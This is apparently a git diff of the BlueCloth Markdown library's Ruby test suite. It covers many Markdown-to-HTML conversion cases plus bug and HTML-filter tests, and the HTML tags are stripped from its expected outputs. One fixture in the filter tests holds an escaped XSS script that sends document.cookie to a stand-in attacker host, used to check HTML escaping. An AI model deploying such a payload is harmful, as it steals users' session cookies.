+ } % [ input, output ]
+ }
+
+ code << %{
+ end
+ }
+
+
+ debugMsg "--- %s [%s]:\n%s\n---\n" % [sname, desc, code]
+ eval code
+ end
+
+ }
+
+end
+
+
+__END__
+
+### [Paragraphs and Line Breaks]
+
+# Paragraphs
+<<<
+This is some stuff that should all be
+put in one paragraph
+even though
+it occurs over several lines.
+
+And this is a another
+one.
+--- Should become:
+This is some stuff that should all be
+put in one paragraph
+even though
+it occurs over several lines.
+
+And this is a another
+one.
+>>>
+
+# Line breaks
+<<<
+Mostly the same kind of thing
+with two spaces at the end
+of each line
+should result in
+line breaks, though.
+
+And this is a another
+one.
+--- Should become:
+Mostly the same kind of thing
+with two spaces at the end
+of each line
+should result in
+line breaks, though.
+
+And this is a another
+one.
+>>>
+
+# Escaping special characters
+<<<
+The left shift operator, which is written as <<, is often used & greatly admired.
+--- Should become:
+The left shift operator, which is written as <<, is often used & greatly admired.
+>>>
+
+# Preservation of named entities
+<<<
+The left shift operator, which is written as <<, is often used & greatly admired.
+--- Should become:
+The left shift operator, which is written as <<, is often used & greatly admired.
+>>>
+
+# Preservation of decimal-encoded entities
+<<<
+The left shift operator, which is written as <<, is often used & greatly admired.
+--- Should become:
+The left shift operator, which is written as <<, is often used & greatly admired.
+>>>
+
+# Preservation of hex-encoded entities
+<<<
+The left shift operator, which is written as <<, is often used & greatly admired.
+--- Should become:
+The left shift operator, which is written as <<, is often used & greatly admired.
+>>>
+
+# Inline HTML - table tags
+<<<
+This is a regular paragraph.
+
+
+
+ Foo
+
+
+
+This is another regular paragraph.
+--- Should become:
+This is a regular paragraph.
+
+
+
+ Foo
+
+
+
+This is another regular paragraph.
+>>>
+
+# Inline HTML - div tags
+<<<
+This is a regular paragraph.
+
+
+ Something
+
+Something else.
+--- Should become:
+This is a regular paragraph.
+
+
+ Something
+
+
+Something else.
+>>>
+
+
+# Inline HTML - Plain HR
+<<<
+This is a regular paragraph.
+
+
+
+Something else.
+--- Should become:
+This is a regular paragraph.
+
+
+
+Something else.
+>>>
+
+
+# Inline HTML - Fancy HR
+<<<
+This is a regular paragraph.
+
+
+
+Something else.
+--- Should become:
+This is a regular paragraph.
+
+
+
+Something else.
+>>>
+
+
+# Inline HTML - Iframe
+<<<
+This is a regular paragraph.
+
+
+
+Something else.
+--- Should become:
+This is a regular paragraph.
+
+
+
+Something else.
+>>>
+
+
+# Inline HTML - mathml
+<<<
+Examples
+--------
+
+Now that we have met some of the key players, it is time to see what we can
+do. Here are some examples and comments which illustrate the use of the basic
+layout and token elements. Consider the expression x2 + 4x + 4 = 0. A basic
+MathML presentation encoding for this would be:
+
+
+
+This encoding will display as you would expect. However, if we were interested
+in reusing this expression in unknown situations, we would likely want to spend
+a little more effort analyzing and encoding the logical expression structure.
+
+--- Should become:
+Examples
+
+Now that we have met some of the key players, it is time to see what we can
+do. Here are some examples and comments which illustrate the use of the basic
+layout and token elements. Consider the expression x2 + 4x + 4 = 0. A basic
+MathML presentation encoding for this would be:
+
+
+
+This encoding will display as you would expect. However, if we were interested
+in reusing this expression in unknown situations, we would likely want to spend
+a little more effort analyzing and encoding the logical expression structure.
+>>>
+
+
+# Span-level HTML
+<<<
+This is some stuff with a spanned bit of text in
+it. And this *should* be a bit of deleted text which should be
+preserved, and part of it emphasized.
+--- Should become:
+This is some stuff with a spanned bit of text in
+it. And this should be a bit of deleted text which should be
+preserved, and part of it emphasized.
+>>>
+
+# Inline HTML (Case-sensitivity)
+<<<
+This is a regular paragraph.
+
+
+
+ Foo
+
+
+
+This is another regular paragraph.
+--- Should become:
+This is a regular paragraph.
+
+
+
+ Foo
+
+
+
+This is another regular paragraph.
+>>>
+
+# Span-level HTML (Case-sensitivity)
+<<<
+This is some stuff with a spanned bit of text in
+it. And this *should* be a bit of deleted text which should be
+preserved, and part of it emphasized.
+--- Should become:
+This is some stuff with a spanned bit of text in
+it. And this should be a bit of deleted text which should be
+preserved, and part of it emphasized.
+>>>
+
+
+
+### [Code spans]
+
+# Single backtick
+<<<
+Making `code` work for you
+--- Should become:
+Making code
work for you
+>>>
+
+# Literal backtick with doubling
+<<<
+Making `` `code` `` work for you
+--- Should become:
+Making `code`
work for you
+>>>
+
+# Many repetitions
+<<<
+Making `````code````` work for you
+--- Should become:
+Making code
work for you
+>>>
+
+# Two in a row
+<<<
+This `thing` should be `two` spans.
+--- Should become:
+This thing
should be two
spans.
+>>>
+
+# At the beginning of a newline
+<<<
+I should think that the
+`tar` command would be universal.
+--- Should become:
+I should think that the
+tar
command would be universal.
+>>>
+
+# Entity escaping
+<<<
+The left angle-bracket (`<`) can also be written as a decimal-encoded
+(`<`) or hex-encoded (`<`) entity.
+--- Should become:
+The left angle-bracket (<
) can also be written as a decimal-encoded
+(<
) or hex-encoded (<
) entity.
+>>>
+
+# At the beginning of a document (Bug #525)
+<<<
+`world` views
+--- Should become:
+world
views
+>>>
+
+
+
+
+### [Code blocks]
+
+# Para plus code block (literal tab)
+<<<
+This is a chunk of code:
+
+ some.code > some.other_code
+
+Some stuff.
+--- Should become:
+This is a chunk of code:
+
+some.code > some.other_code
+
+
+Some stuff.
+>>>
+
+# Para plus code block (literal tab, no colon)
+<<<
+This is a chunk of code
+
+ some.code > some.other_code
+
+Some stuff.
+--- Should become:
+This is a chunk of code
+
+some.code > some.other_code
+
+
+Some stuff.
+>>>
+
+# Para plus code block (tab-width spaces)
+<<<
+This is a chunk of code:
+
+ some.code > some.other_code
+
+Some stuff.
+--- Should become:
+This is a chunk of code:
+
+some.code > some.other_code
+
+
+Some stuff.
+>>>
+
+# Para plus code block (tab-width spaces, no colon)
+<<<
+This is a chunk of code
+
+ some.code > some.other_code
+
+Some stuff.
+--- Should become:
+This is a chunk of code
+
+some.code > some.other_code
+
+
+Some stuff.
+>>>
+
+# Colon with preceeding space
+<<<
+A regular paragraph, without a colon. :
+
+ This is a code block.
+
+Some stuff.
+--- Should become:
+A regular paragraph, without a colon. :
+
+This is a code block.
+
+
+Some stuff.
+>>>
+
+# Single colon
+<<<
+:
+
+ some.code > some.other_code
+
+Some stuff.
+--- Should become:
+:
+
+some.code > some.other_code
+
+
+Some stuff.
+>>>
+
+# Preserve leading whitespace (Bug #541)
+<<<
+Examples:
+
+ # (Waste character because first line is flush left !!!)
+ # Example script1
+ x = 1
+ x += 1
+ puts x
+
+Some stuff.
+--- Should become:
+Examples:
+
+ # (Waste character because first line is flush left !!!)
+ # Example script1
+ x = 1
+ x += 1
+ puts x
+
+
+Some stuff.
+>>>
+
+
+### [Horizontal Rules]
+
+# Hrule 1
+<<<
+* * *
+--- Should become:
+
+>>>
+
+# Hrule 2
+<<<
+***
+--- Should become:
+
+>>>
+
+# Hrule 3
+<<<
+*****
+--- Should become:
+
+>>>
+
+# Hrule 4
+<<<
+- - -
+--- Should become:
+
+>>>
+
+# Hrule 5
+<<<
+---------------------------------------
+--- Should become:
+
+>>>
+
+
+### [Titles]
+
+# setext-style h1
+<<<
+Title Text
+=
+--- Should become:
+Title Text
+>>>
+
+<<<
+Title Text
+===
+--- Should become:
+Title Text
+>>>
+
+<<<
+Title Text
+==========
+--- Should become:
+Title Text
+>>>
+
+# setext-style h2
+<<<
+Title Text
+-
+--- Should become:
+Title Text
+>>>
+
+<<<
+Title Text
+---
+--- Should become:
+Title Text
+>>>
+
+<<<
+Title Text
+----------
+--- Should become:
+Title Text
+>>>
+
+# ATX-style h1
+<<<
+# Title Text
+--- Should become:
+Title Text
+>>>
+
+<<<
+# Title Text #
+--- Should become:
+Title Text
+>>>
+
+<<<
+# Title Text ###
+--- Should become:
+Title Text
+>>>
+
+<<<
+# Title Text #####
+--- Should become:
+Title Text
+>>>
+
+# ATX-style h2
+<<<
+## Title Text
+--- Should become:
+Title Text
+>>>
+
+<<<
+## Title Text #
+--- Should become:
+Title Text
+>>>
+
+<<<
+## Title Text ###
+--- Should become:
+Title Text
+>>>
+
+<<<
+## Title Text #####
+--- Should become:
+Title Text
+>>>
+
+# ATX-style h3
+<<<
+### Title Text
+--- Should become:
+Title Text
+>>>
+
+<<<
+### Title Text #
+--- Should become:
+Title Text
+>>>
+
+<<<
+### Title Text ###
+--- Should become:
+Title Text
+>>>
+
+<<<
+### Title Text #####
+--- Should become:
+Title Text
+>>>
+
+# ATX-style h4
+<<<
+#### Title Text
+--- Should become:
+Title Text
+>>>
+
+<<<
+#### Title Text #
+--- Should become:
+Title Text
+>>>
+
+<<<
+#### Title Text ###
+--- Should become:
+Title Text
+>>>
+
+<<<
+#### Title Text #####
+--- Should become:
+Title Text
+>>>
+
+# ATX-style h5
+<<<
+##### Title Text
+--- Should become:
+Title Text
+>>>
+
+<<<
+##### Title Text #
+--- Should become:
+Title Text
+>>>
+
+<<<
+##### Title Text ###
+--- Should become:
+Title Text
+>>>
+
+<<<
+##### Title Text #####
+--- Should become:
+Title Text
+>>>
+
+# ATX-style h6
+<<<
+###### Title Text
+--- Should become:
+Title Text
+>>>
+
+<<<
+###### Title Text #
+--- Should become:
+Title Text
+>>>
+
+<<<
+###### Title Text ###
+--- Should become:
+Title Text
+>>>
+
+<<<
+###### Title Text #####
+--- Should become:
+Title Text
+>>>
+
+
+### [Blockquotes]
+
+# Regular 1-level blockquotes
+<<<
+> Email-style angle brackets
+> are used for blockquotes.
+--- Should become:
+
+ Email-style angle brackets
+ are used for blockquotes.
+
+>>>
+
+# Doubled blockquotes
+<<<
+> > And, they can be nested.
+--- Should become:
+
+
+ And, they can be nested.
+
+
+>>>
+
+# Nested blockquotes
+<<<
+> Email-style angle brackets
+> are used for blockquotes.
+
+> > And, they can be nested.
+--- Should become:
+
+ Email-style angle brackets
+ are used for blockquotes.
+
+
+ And, they can be nested.
+
+
+>>>
+
+# Lazy blockquotes
+<<<
+> This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet,
+consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus.
+Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.
+
+> Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse
+id sem consectetuer libero luctus adipiscing.
+--- Should become:
+
+ This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet,
+ consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus.
+ Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.
+
+ Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse
+ id sem consectetuer libero luctus adipiscing.
+
+>>>
+
+
+# Blockquotes containing other markdown elements
+<<<
+> ## This is a header.
+>
+> 1. This is the first list item.
+> 2. This is the second list item.
+>
+> Here's some example code:
+>
+> return shell_exec("echo $input | $markdown_script");
+--- Should become:
+
+ This is a header.
+
+
+ - This is the first list item.
+ - This is the second list item.
+
+
+ Here's some example code:
+
+return shell_exec("echo $input | $markdown_script");
+
+
+>>>
+
+# Blockquotes with a section
+<<<
+> The best approximation of the problem is the following code:
+>
+>
+> foo + bar; foo.factorize; foo.display
+>
+>
+> This should result in an error on any little-endian platform.
+--- Should become:
+
+ The best approximation of the problem is the following code:
+
+
+foo + bar; foo.factorize; foo.display
+
+
+ This should result in an error on any little-endian platform.
+
+>>>
+
+
+
+### [Images]
+
+# Inline image with title
+<<<
+![alt text](/path/img.jpg "Title")
+--- Should become:
+
+>>>
+
+# Inline image with title (single-quotes)
+<<<
+![alt text](/path/img.jpg 'Title')
+--- Should become:
+
+>>>
+
+# Inline image with title (with embedded quotes)
+<<<
+![alt text](/path/img.jpg 'The "Title" Image')
+--- Should become:
+
+>>>
+
+# Inline image without title
+<<<
+![alt text](/path/img.jpg)
+--- Should become:
+
+>>>
+
+# Inline image with quoted alt text
+<<<
+![the "alt text"](/path/img.jpg)
+--- Should become:
+
+>>>
+
+
+# Reference image
+<<<
+![alt text][id]
+
+[id]: /url/to/img.jpg "Title"
+--- Should become:
+
+>>>
+
+
+
+### [Emphasis]
+
+# Emphasis () with asterisks
+<<<
+Use *single splats* for emphasis.
+--- Should become:
+Use single splats for emphasis.
+>>>
+
+# Emphasis () with underscores
+<<<
+Use *underscores* for emphasis.
+--- Should become:
+Use underscores for emphasis.
+>>>
+
+# Strong emphasis () with asterisks
+<<<
+Use **double splats** for more emphasis.
+--- Should become:
+Use double splats for more emphasis.
+>>>
+
+# Strong emphasis () with underscores
+<<<
+Use __doubled underscores__ for more emphasis.
+--- Should become:
+Use doubled underscores for more emphasis.
+>>>
+
+# Combined emphasis types 1
+<<<
+Use *single splats* or _single unders_ for normal emphasis.
+--- Should become:
+Use single splats or single unders for normal emphasis.
+>>>
+
+# Combined emphasis types 2
+<<<
+Use _single unders_ for normal emphasis
+or __double them__ for strong emphasis.
+--- Should become:
+Use single unders for normal emphasis
+or double them for strong emphasis.
+>>>
+
+# Emphasis containing escaped metachars
+<<<
+You can include literal *\*splats\** by escaping them.
+--- Should become:
+You can include literal *splats* by escaping them.
+>>>
+
+# Two instances of asterisked emphasis on one line
+<<<
+If there's *two* splatted parts on a *single line* it should still work.
+--- Should become:
+If there's two splatted parts on a single line it should still work.
+>>>
+
+# Two instances of double asterisked emphasis on one line
+<<<
+This **doubled** one should **work too**.
+--- Should become:
+This doubled one should work too.
+>>>
+
+# Two instances of underscore emphasis on one line
+<<<
+If there's _two_ underbarred parts on a _single line_ it should still work.
+--- Should become:
+If there's two underbarred parts on a single line it should still work.
+>>>
+
+# Two instances of doubled underscore emphasis on one line
+<<<
+This __doubled__ one should __work too__.
+--- Should become:
+This doubled one should work too.
+>>>
+
+# Initial emphasis (asterisk)
+<<<
+*Something* like this should be bold.
+--- Should become:
+Something like this should be bold.
+>>>
+
+# Initial emphasis (underscore)
+<<<
+_Something_ like this should be bold.
+--- Should become:
+Something like this should be bold.
+>>>
+
+# Initial strong emphasis (asterisk)
+<<<
+**Something** like this should be bold.
+--- Should become:
+Something like this should be bold.
+>>>
+
+# Initial strong emphasis (underscore)
+<<<
+__Something__ like this should be bold.
+--- Should become:
+Something like this should be bold.
+>>>
+
+# Partial-word emphasis (Bug #568)
+<<<
+**E**xtended **TURN**
+--- Should become:
+Extended TURN
+>>>
+
+
+
+### [Links]
+
+# Inline link, no title
+<<<
+An [example](http://url.com/).
+--- Should become:
+An example.
+>>>
+
+# Inline link with title
+<<<
+An [example](http://url.com/ "Check out url.com!").
+--- Should become:
+An example.
+>>>
+
+# Reference-style link, no title
+<<<
+An [example][ex] reference-style link.
+
+[ex]: http://www.bluefi.com/
+--- Should become:
+An example reference-style link.
+>>>
+
+# Reference-style link with quoted title
+<<<
+An [example][ex] reference-style link.
+
+[ex]: http://www.bluefi.com/ "Check out our air."
+--- Should become:
+An example reference-style link.
+>>>
+
+# Reference-style link with paren title
+<<<
+An [example][ex] reference-style link.
+
+[ex]: http://www.bluefi.com/ (Check out our air.)
+--- Should become:
+An example reference-style link.
+>>>
+
+# Reference-style link with one of each (hehe)
+<<<
+An [example][ex] reference-style link.
+
+[ex]: http://www.bluefi.com/ "Check out our air.)
+--- Should become:
+An example reference-style link.
+>>>
+
+" <- For syntax highlighting
+
+# Reference-style link with intervening space
+<<<
+You can split the [linked part] [ex] from
+the reference part with a single space.
+
+[ex]: http://www.treefrog.com/ "for some reason"
+--- Should become:
+You can split the linked part from
+the reference part with a single space.
+>>>
+
+# Reference-style link with intervening space
+<<<
+You can split the [linked part]
+ [ex] from the reference part
+with a newline in case your editor wraps it there, I guess.
+
+[ex]: http://www.treefrog.com/
+--- Should become:
+You can split the linked part from the reference part
+with a newline in case your editor wraps it there, I guess.
+>>>
+
+# Reference-style anchors
+<<<
+I get 10 times more traffic from [Google] [1] than from
+[Yahoo] [2] or [MSN] [3].
+
+ [1]: http://google.com/ "Google"
+ [2]: http://search.yahoo.com/ "Yahoo Search"
+ [3]: http://search.msn.com/ "MSN Search"
+--- Should become:
+I get 10 times more traffic from Google than from
+Yahoo or MSN.
+>>>
+
+# Implicit name-link shortcut anchors
+<<<
+I get 10 times more traffic from [Google][] than from
+[Yahoo][] or [MSN][].
+
+ [google]: http://google.com/ "Google"
+ [yahoo]: http://search.yahoo.com/ "Yahoo Search"
+ [msn]: http://search.msn.com/ "MSN Search"
+--- Should become:
+I get 10 times more traffic from Google than from
+Yahoo or MSN.
+>>>
+
+# Inline anchors
+<<<
+I get 10 times more traffic from [Google](http://google.com/ "Google")
+than from [Yahoo](http://search.yahoo.com/ "Yahoo Search") or
+[MSN](http://search.msn.com/ "MSN Search").
+--- Should become:
+I get 10 times more traffic from Google
+than from Yahoo or
+MSN.
+>>>
+
+# Graceful fail for unclosed brackets (and bug #524)
+<<<
+This is just a [bracket opener; it should fail gracefully.
+--- Should become:
+This is just a [bracket opener; it should fail gracefully.
+>>>
+
+# Unresolved reference-style links (Bug #620)
+<<<
+This is an unresolved [url][1].
+--- Should become:
+This is an unresolved [url][1].
+>>>
+
+
+### [Auto-links]
+
+# Plain HTTP link
+<<<
+This is a reference to . You should follow it.
+--- Should become:
+This is a reference to http://www.FaerieMUD.org/. You should follow it.
+>>>
+
+# FTP link
+<<<
+Why not download your very own chandelier from ?
+--- Should become:
+Why not download your very own chandelier from ftp://ftp.usuc.edu/pub/foof/mir/?
+>>>
+
+
+### [Lists]
+
+# Unordered list
+<<<
+* Red
+* Green
+* Blue
+--- Should become:
+
+- Red
+- Green
+- Blue
+
+>>>
+
+# Unordered list w/alt bullets
+<<<
+- Red
+- Green
+- Blue
+--- Should become:
+
+- Red
+- Green
+- Blue
+
+>>>
+
+# Unordered list w/alt bullets 2
+<<<
++ Red
++ Green
++ Blue
+--- Should become:
+
+- Red
+- Green
+- Blue
+
+>>>
+
+# Unordered list w/mixed bullets
+<<<
++ Red
+- Green
+* Blue
+--- Should become:
+
+- Red
+- Green
+- Blue
+
+>>>
+
+# Ordered list
+<<<
+1. Bird
+2. McHale
+3. Parish
+--- Should become:
+
+- Bird
+- McHale
+- Parish
+
+>>>
+
+# Ordered list, any numbers
+<<<
+1. Bird
+1. McHale
+1. Parish
+--- Should become:
+
+- Bird
+- McHale
+- Parish
+
+>>>
+
+# Ordered list, any numbers 2
+<<<
+3. Bird
+1. McHale
+8. Parish
+--- Should become:
+
+- Bird
+- McHale
+- Parish
+
+>>>
+
+# Hanging indents
+<<<
+* Lorem ipsum dolor sit amet, consectetuer adipiscing elit.
+ Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi,
+ viverra nec, fringilla in, laoreet vitae, risus.
+* Donec sit amet nisl. Aliquam semper ipsum sit amet velit.
+ Suspendisse id sem consectetuer libero luctus adipiscing.
+--- Should become:
+
+- Lorem ipsum dolor sit amet, consectetuer adipiscing elit.
+Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi,
+viverra nec, fringilla in, laoreet vitae, risus.
+- Donec sit amet nisl. Aliquam semper ipsum sit amet velit.
+Suspendisse id sem consectetuer libero luctus adipiscing.
+
+>>>
+
+# Lazy indents
+<<<
+* Lorem ipsum dolor sit amet, consectetuer adipiscing elit.
+Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi,
+viverra nec, fringilla in, laoreet vitae, risus.
+* Donec sit amet nisl. Aliquam semper ipsum sit amet velit.
+Suspendisse id sem consectetuer libero luctus adipiscing.
+--- Should become:
+
+- Lorem ipsum dolor sit amet, consectetuer adipiscing elit.
+Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi,
+viverra nec, fringilla in, laoreet vitae, risus.
+- Donec sit amet nisl. Aliquam semper ipsum sit amet velit.
+Suspendisse id sem consectetuer libero luctus adipiscing.
+
+>>>
+
+# Paragraph wrapped list items
+<<<
+* Bird
+
+* Magic
+--- Should become:
+
+Bird
+Magic
+
+>>>
+
+# Multi-paragraph list items
+<<<
+1. This is a list item with two paragraphs. Lorem ipsum dolor
+ sit amet, consectetuer adipiscing elit. Aliquam hendrerit
+ mi posuere lectus.
+
+ Vestibulum enim wisi, viverra nec, fringilla in, laoreet
+ vitae, risus. Donec sit amet nisl. Aliquam semper ipsum
+ sit amet velit.
+
+2. Suspendisse id sem consectetuer libero luctus adipiscing.
+--- Should become:
+
+This is a list item with two paragraphs. Lorem ipsum dolor
+sit amet, consectetuer adipiscing elit. Aliquam hendrerit
+mi posuere lectus.
+
+Vestibulum enim wisi, viverra nec, fringilla in, laoreet
+vitae, risus. Donec sit amet nisl. Aliquam semper ipsum
+sit amet velit.
+Suspendisse id sem consectetuer libero luctus adipiscing.
+
+>>>
+
+# Lazy multi-paragraphs
+<<<
+* This is a list item with two paragraphs.
+
+ This is the second paragraph in the list item. You're
+only required to indent the first line. Lorem ipsum dolor
+sit amet, consectetuer adipiscing elit.
+
+* Another item in the same list.
+--- Should become:
+
+This is a list item with two paragraphs.
+
+This is the second paragraph in the list item. You're
+only required to indent the first line. Lorem ipsum dolor
+sit amet, consectetuer adipiscing elit.
+Another item in the same list.
+
+>>>
+
+# Blockquote in list item
+<<<
+* A list item with a blockquote:
+
+ > This is a blockquote
+ > inside a list item.
+--- Should become:
+
+A list item with a blockquote:
+
+
+ This is a blockquote
+ inside a list item.
+
+
+>>>
+
+# Code block in list item
+<<<
+* A list item with a code block:
+
+
+--- Should become:
+
+A list item with a code block:
+
+<code goes here>
+
+
+>>>
+
+# Backslash-escaped number-period-space
+<<<
+1986\. What a great season.
+--- Should become:
+1986. What a great season.
+>>>
+
diff --git a/vendor/bluecloth-1.0.0/tests/10_Bug.tests.rb b/vendor/bluecloth-1.0.0/tests/10_Bug.tests.rb
index 0ca746b4..0a1e6b86 100755
--- a/vendor/bluecloth-1.0.0/tests/10_Bug.tests.rb
+++ b/vendor/bluecloth-1.0.0/tests/10_Bug.tests.rb
@@ -1,57 +1,57 @@
-#!/usr/bin/ruby
-#
-# Unit test for bugs found in BlueCloth
-# $Id: 10_Bug.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
-#
-# Copyright (c) 2004 The FaerieMUD Consortium.
-#
-
-if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
- basedir = File::dirname( __FILE__ )
- require File::join( basedir, 'bctestcase' )
-end
-
-
-require 'timeout'
-
-### This test case tests ...
-class BugsTestCase < BlueCloth::TestCase
- BaseDir = File::dirname( File::dirname(File::expand_path( __FILE__ )) )
-
- ### Test to be sure the README file can be transformed.
- def test_00_slow_block_regex
- contents = File::read( File::join(BaseDir,"README") )
- bcobj = BlueCloth::new( contents )
-
- assert_nothing_raised {
- timeout( 2 ) do
- bcobj.to_html
- end
- }
- end
-
- ### :TODO: Add more documents and test their transforms.
-
- def test_10_regexp_engine_overflow_bug
- contents = File::read( File::join(BaseDir,"tests/data/re-overflow.txt") )
- bcobj = BlueCloth::new( contents )
-
- assert_nothing_raised {
- bcobj.to_html
- }
- end
-
- def test_15_regexp_engine_overflow_bug2
- contents = File::read( File::join(BaseDir,"tests/data/re-overflow2.txt") )
- bcobj = BlueCloth::new( contents )
-
- assert_nothing_raised {
- bcobj.to_html
- }
- end
-
-end
-
-
-__END__
-
+#!/usr/bin/ruby
+#
+# Unit test for bugs found in BlueCloth
+# $Id: 10_Bug.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
+#
+# Copyright (c) 2004 The FaerieMUD Consortium.
+#
+
+if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
+ basedir = File::dirname( __FILE__ )
+ require File::join( basedir, 'bctestcase' )
+end
+
+
+require 'timeout'
+
+### This test case tests ...
+class BugsTestCase < BlueCloth::TestCase
+ BaseDir = File::dirname( File::dirname(File::expand_path( __FILE__ )) )
+
+ ### Test to be sure the README file can be transformed.
+ def test_00_slow_block_regex
+ contents = File::read( File::join(BaseDir,"README") )
+ bcobj = BlueCloth::new( contents )
+
+ assert_nothing_raised {
+ timeout( 2 ) do
+ bcobj.to_html
+ end
+ }
+ end
+
+ ### :TODO: Add more documents and test their transforms.
+
+ def test_10_regexp_engine_overflow_bug
+ contents = File::read( File::join(BaseDir,"tests/data/re-overflow.txt") )
+ bcobj = BlueCloth::new( contents )
+
+ assert_nothing_raised {
+ bcobj.to_html
+ }
+ end
+
+ def test_15_regexp_engine_overflow_bug2
+ contents = File::read( File::join(BaseDir,"tests/data/re-overflow2.txt") )
+ bcobj = BlueCloth::new( contents )
+
+ assert_nothing_raised {
+ bcobj.to_html
+ }
+ end
+
+end
+
+
+__END__
+
diff --git a/vendor/bluecloth-1.0.0/tests/15_Contrib.tests.rb b/vendor/bluecloth-1.0.0/tests/15_Contrib.tests.rb
index 56af2d8b..0b304e37 100755
--- a/vendor/bluecloth-1.0.0/tests/15_Contrib.tests.rb
+++ b/vendor/bluecloth-1.0.0/tests/15_Contrib.tests.rb
@@ -1,132 +1,132 @@
-#!/usr/bin/ruby
-#
-# Unit test for contributed features
-# $Id: 15_Contrib.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
-#
-# Copyright (c) 2004 The FaerieMUD Consortium.
-#
-
-if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
- basedir = File::dirname( __FILE__ )
- require File::join( basedir, 'bctestcase' )
-end
-
-
-
-### This test case tests ...
-class ContribTestCase < BlueCloth::TestCase
-
- DangerousHtml =
- ""
- DangerousHtmlOutput =
- "<script>document.location='http://www.hacktehplanet.com" +
- "/cgi-bin/cookie.cgi?' + document.cookie</script>
"
- DangerousStylesOutput =
- ""
- NoLessThanHtml = "Foo is definitely > than bar"
- NoLessThanOutput = "Foo is definitely > than bar
"
-
-
- ### HTML filter options contributed by Florian Gross.
-
- ### Test the :filter_html restriction
- def test_10_filter_html
- printTestHeader "filter_html Option"
- rval = bc = nil
-
- # Test as a 1st-level param
- assert_nothing_raised {
- bc = BlueCloth::new( DangerousHtml, :filter_html )
- }
- assert_instance_of BlueCloth, bc
-
- # Accessors
- assert_nothing_raised { rval = bc.filter_html }
- assert_equal true, rval
- assert_nothing_raised { rval = bc.filter_styles }
- assert_equal nil, rval
-
- # Test rendering with filters on
- assert_nothing_raised { rval = bc.to_html }
- assert_equal DangerousHtmlOutput, rval
-
- # Test setting it in a sub-array
- assert_nothing_raised {
- bc = BlueCloth::new( DangerousHtml, [:filter_html] )
- }
- assert_instance_of BlueCloth, bc
-
- # Accessors
- assert_nothing_raised { rval = bc.filter_html }
- assert_equal true, rval
- assert_nothing_raised { rval = bc.filter_styles }
- assert_equal nil, rval
-
- # Test rendering with filters on
- assert_nothing_raised { rval = bc.to_html }
- assert_equal DangerousHtmlOutput, rval
- end
-
-
- ### Test the :filter_styles restriction
- def test_20_filter_styles
- printTestHeader "filter_styles Option"
- rval = bc = nil
-
- # Test as a 1st-level param
- assert_nothing_raised {
- bc = BlueCloth::new( DangerousHtml, :filter_styles )
- }
- assert_instance_of BlueCloth, bc
-
- # Accessors
- assert_nothing_raised { rval = bc.filter_styles }
- assert_equal true, rval
- assert_nothing_raised { rval = bc.filter_html }
- assert_equal nil, rval
-
- # Test rendering with filters on
- assert_nothing_raised { rval = bc.to_html }
- assert_equal DangerousStylesOutput, rval
-
- # Test setting it in a subarray
- assert_nothing_raised {
- bc = BlueCloth::new( DangerousHtml, [:filter_styles] )
- }
- assert_instance_of BlueCloth, bc
-
- # Accessors
- assert_nothing_raised { rval = bc.filter_styles }
- assert_equal true, rval
- assert_nothing_raised { rval = bc.filter_html }
- assert_equal nil, rval
-
- # Test rendering with filters on
- assert_nothing_raised { rval = bc.to_html }
- assert_equal DangerousStylesOutput, rval
-
- end
-
-
- ### Test to be sure filtering when there's no opening angle brackets doesn't
- ### die.
- def test_30_filter_no_less_than
- printTestHeader "filter without a less-than"
- rval = bc = nil
-
- # Test as a 1st-level param
- assert_nothing_raised {
- bc = BlueCloth::new( NoLessThanHtml, :filter_html )
- }
- assert_instance_of BlueCloth, bc
-
- assert_nothing_raised { rval = bc.to_html }
- assert_equal NoLessThanOutput, rval
- end
-
-
-
-end
-
+#!/usr/bin/ruby
+#
+# Unit test for contributed features
+# $Id: 15_Contrib.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
+#
+# Copyright (c) 2004 The FaerieMUD Consortium.
+#
+
+if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
+ basedir = File::dirname( __FILE__ )
+ require File::join( basedir, 'bctestcase' )
+end
+
+
+
+### This test case tests ...
+class ContribTestCase < BlueCloth::TestCase
+
+ DangerousHtml =
+ ""
+ DangerousHtmlOutput =
+ "<script>document.location='http://www.hacktehplanet.com" +
+ "/cgi-bin/cookie.cgi?' + document.cookie</script>
"
+ DangerousStylesOutput =
+ ""
+ NoLessThanHtml = "Foo is definitely > than bar"
+ NoLessThanOutput = "Foo is definitely > than bar
"
+
+
+ ### HTML filter options contributed by Florian Gross.
+
+ ### Test the :filter_html restriction
+ def test_10_filter_html
+ printTestHeader "filter_html Option"
+ rval = bc = nil
+
+ # Test as a 1st-level param
+ assert_nothing_raised {
+ bc = BlueCloth::new( DangerousHtml, :filter_html )
+ }
+ assert_instance_of BlueCloth, bc
+
+ # Accessors
+ assert_nothing_raised { rval = bc.filter_html }
+ assert_equal true, rval
+ assert_nothing_raised { rval = bc.filter_styles }
+ assert_equal nil, rval
+
+ # Test rendering with filters on
+ assert_nothing_raised { rval = bc.to_html }
+ assert_equal DangerousHtmlOutput, rval
+
+ # Test setting it in a sub-array
+ assert_nothing_raised {
+ bc = BlueCloth::new( DangerousHtml, [:filter_html] )
+ }
+ assert_instance_of BlueCloth, bc
+
+ # Accessors
+ assert_nothing_raised { rval = bc.filter_html }
+ assert_equal true, rval
+ assert_nothing_raised { rval = bc.filter_styles }
+ assert_equal nil, rval
+
+ # Test rendering with filters on
+ assert_nothing_raised { rval = bc.to_html }
+ assert_equal DangerousHtmlOutput, rval
+ end
+
+
+ ### Test the :filter_styles restriction
+ def test_20_filter_styles
+ printTestHeader "filter_styles Option"
+ rval = bc = nil
